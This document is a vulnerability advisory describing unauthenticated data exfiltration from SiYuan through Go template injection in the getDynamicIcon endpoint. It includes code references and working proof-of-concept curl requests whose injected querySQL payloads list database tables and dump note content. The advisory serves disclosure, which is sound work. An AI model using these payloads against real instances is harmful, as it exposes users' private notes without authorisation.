SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon

Summary

The /api/icon/getDynamicIcon endpoint is explicitly excluded from authentication in SiYuan's kernel router (router.go, "不需要鉴权" -- no auth needed). When called with type=8 and a valid block id parameter, this endpoint invokes RenderDynamicIconContentTemplate, which executes a Go template that includes the querySQL and queryBlocks functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.

Details

Root cause -- kernel/api/router.go, line 37:

// 不需要鉴权
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)

Attack chain:

1. getDynamicIcon (kernel/api/icon.go) checks type=8 and calls model.RenderDynamicIconContentTemplate(content, id) when content contains .action{.

2. RenderDynamicIconContentTemplate (kernel/model/template.go:264) parses content as a Go template. The template function map includes querySQL and queryBlocks registered via sql.SQLTemplateFuncs.

3. querySQL calls Query(stmt, 1024) (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.

4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.

Constraint: The block id parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format YYYYMMDDHHMMSS-XXXXXXX (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.

Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):

GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
Host: siyuan.example.com
(No Authorization header)

Response (SVG with exfiltrated data embedded):

<text ...>[map[id:20260524010447-jc9ypd4 content:test]
           map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>

The querySQL template function can query any table: blocks (all note content and metadata), spans (tags), assets (asset references), attributes (block attributes), and refs (backlinks).

PoC

TARGET="http://siyuan.example.com:6806"
BLOCK_ID="KNOWN_BLOCK_ID_HERE"  # From a shared link or other source

# List all database tables
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"

# Dump all note content
curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"

PoC script: /home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh

Impact

Any network-reachable SiYuan instance (Docker deployments default to 0.0.0.0:6806) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.

This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The getDynamicIcon endpoint was never intended to execute SQL queries but gained this capability through the querySQL template function registered for the icon content template renderer.